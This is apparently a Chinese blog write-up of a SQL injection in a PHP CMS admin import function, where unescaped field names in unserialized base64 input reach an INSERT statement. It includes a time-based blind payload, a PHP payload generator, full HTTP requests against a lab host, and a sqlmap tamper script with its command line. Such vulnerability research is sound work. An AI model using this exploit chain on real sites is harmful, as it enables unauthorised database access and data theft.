记一次奇怪的注入

记一次奇怪的注入

其中的部分代码

elseif($action=="importok")
{
	$importrule = trim($importrule);
	if(empty($importrule))
	{
		ShowMsg("规则内容为空!","-1");
		exit();
	}
	//对Base64格式的规则进行解码
	if(m_ereg('^BASE64:',$importrule))
	{
		if(!m_ereg(':END$',$importrule))
		{
			ShowMsg('该规则不合法,Base64格式的采集规则为:BASE64:base64编码后的配置:END !','-1');
			exit();
		}
		$importrules = explode(':',$importrule);
		$importrule = $importrules[1];
		$importrule = unserialize(base64_decode($importrule)) OR  die('配置字符串有错误!'); 
		//die(base64_decode($importrule));
	}
	else
	{
		ShowMsg('该规则不合法,Base64格式的采集规则为:BASE64:base64编码后的配置:END !','-1');
		exit();
	}
	if(!is_array($importrule) || !is_array($importrule['config']) || !is_array($importrule['type']))
	{
		ShowMsg('该规则不合法,无法导入!','-1');
		exit();
	}
	$data = $importrule['config'];
	unset($data['cid']);
	$data['cname'].="(导入时间:".date("Y-m-d H:i:s").")";
	$data['cotype'] = '1';
	$sql = si("sea_co_config",$data,1);
	$dsql->ExecuteNoneQuery($sql);
	$cid = $dsql->GetLastID();
	if (!empty($importrule['type'])){
		foreach ($importrule['type'] as $type){
			unset($type['tid']);
			$type['cid'] = $cid;
			$type['addtime'] = time();
			$type['cjtime'] = '';
			$type['cotype'] = '1';
			$data = $type;
			$sql = si("sea_co_type",$data,1);
			$dsql->ExecuteNoneQuery($sql);
		}
	}
	ShowMsg('成功导入规则!','admin_collect_news.php');
	exit;
}

首先对格式进行验证,之后base64解码。反序列化操作,之后检查对应参数是否为数组

si函数

function si($table, $data, $needQs=false)
{
	if (count($data)>1)
	{
		$t1 = $t2 = array();
		$i=0;
		foreach($data as $key=>$value)
		{
			if($i!=0&&$i%2==0)
			{
				$t1[] = $key;
				
				$t2[] = $needQs?qs($value):"'$value'";
			}
			
			$i+=1;
		}
		$sql =  "INSERT INTO `$table` (`".implode("`,`",$t1)."`) VALUES(".implode(",",$t2).")";
	}
	else
	{
		$arr = array_keys($data);
		$feild = $arr[0];
		$value = $data[$feild];
		$value = $needQs?qs($value):"'$value'";
		$sql = "INSERT INTO `$table` (`$feild`) VALUES ($value)";
	}
	return $sql;
}
function qs($s)
{
	return "'".addslashes($s)."'";
}

这里是对参数进行拼接和过滤,可以看到字段名没有被过滤,但是字段使用了addslashes函数过滤,所以我们可以看他拼接的过程,看看是否可以传入注释符,进行绕过,构造传入数据包

$importrule=array
(
"config"=>array
(
"cname"=>"1",
"cotype"=>"1",
"getlistnum`) values(3+(1=2 OR (SELECT 4391 FROM (SELECT(SLEEP(2)))dhMx)))#"=>123
),
"type"=>array()
);
POST /xpmz9t/admin_collect_news.php?action=importok HTTP/1.1
Host: 192.168.164.138:89
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=tt4uitbucrgi526e3k1l53uv82; history=%5B%7B%22name%22%3A%22asdasd%22%2C%22pic%22%3A%22%2Fpic%2Fnopic.gif%22%2C%22link%22%3A%22%2Fvideo%2F%3F3-0-0.html%22%2C%22part%22%3A%22%22%7D%5D; XDEBUG_SESSION=16962
Connection: close
Content-Length: 166

importrule=BASE64:YToyOntzOjY6ImNvbmZpZyI7YTozOntzOjU6ImNuYW1lIjtzOjE6IjEiO3M6NjoiY290eXBlIjtzOjE6IjEiO3M6MTA6ImdldGxpc3RudW0iO2k6MTIzO31zOjQ6InR5cGUiO2E6MDp7fX0=:END

可以看到传入的只有最后一个参数被拼接到sql语句

继续构造payload

<?php 
$importrule=array
(
"config"=>array
(
"cname"=>"1",
"cotype"=>"1",
"getlistnum`) values(3+(1=2 OR (SELECT 4391 FROM (SELECT(SLEEP(2)))dhMx)))#"=>123
),
"type"=>array()
);
//echo serialize($importrule);

echo "BASE64:";
echo base64_encode(serialize($importrule));
echo ":END";
POST /xpmz9t/admin_collect_news.php?action=importok HTTP/1.1
Host: 192.168.164.138:89
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=tt4uitbucrgi526e3k1l53uv82; history=%5B%7B%22name%22%3A%22asdasd%22%2C%22pic%22%3A%22%2Fpic%2Fnopic.gif%22%2C%22link%22%3A%22%2Fvideo%2F%3F3-0-0.html%22%2C%22part%22%3A%22%22%7D%5D; XDEBUG_SESSION=16962
Connection: close
Content-Length: 166

importrule=BASE64:YToyOntzOjY6ImNvbmZpZyI7YTozOntzOjU6ImNuYW1lIjtzOjE6IjEiO3M6NjoiY290eXBlIjtzOjE6IjEiO3M6NzQ6ImdldGxpc3RudW1gKSB2YWx1ZXMoMysoMT0yIE9SIChTRUxFQ1QgNDM5MSBGUk9NIChTRUxFQ1QoU0xFRVAoMikpKWRoTXgpKSkjIjtpOjEyMzt9czo0OiJ0eXBlIjthOjA6e319:END

数据包在拼接之后payload没有被过滤,接下来跟进ExecuteNoneQuery函数

在这里插入图片描述

	function ExecuteNoneQuery($sql='')
	{
		global $dsql;
		self::$i++;
		if($dsql->isClose)
		{
			$this->Open(false);
			$dsql->isClose = false;
		}
		if(!empty($sql))
		{
			$this->SetQuery($sql);
		}
		if(is_array($this->parameters))
		{
			foreach($this->parameters as $key=>$value)
			{
				$this->queryString = str_replace("@".$key,"'$value'",$this->queryString);
			}
		}

		//SQL语句安全检查
		if($this->safeCheck) CheckSql($this->queryString,'update');
		return mysqli_query($this->linkID,$this->queryString);
	}

发现这里的checksql函数没有被执行,我们构造的sql语句直接执行

在这里插入图片描述

构造sqlmap脚本

#!/usr/bin/env python
#addnote.py
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
import base64

from lib.core.common import randomRange
from lib.core.compat import xrange
from lib.core.data import kb
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGH

def dependencies():
    pass
def tamper(payload, **kwargs):

    b='getlistnum`) values(3+(1=2 qqq))#'
    b=b.replace('qqq',payload)
    a='a:2:{s:6:"config";a:3:{s:5:"cname";s:1:"1";s:6:"cotype";s:1:"1";s:len:"string";i:123;}s:4:"type";a:0:{}}'
    a=a.replace('len',str(len(b)))
    a=a.replace('string',b)
    retVal="BASE64:"+base64.b64encode(a)+":END"
    return retVal
sqlmap.py -r D:\12.txt --risk 3 --technique=T --dbms=mysql -v 4 -p importrule --tamper=addnote –dbs

猜你喜欢

转载自blog.csdn.net/qq_43645782/article/details/106246385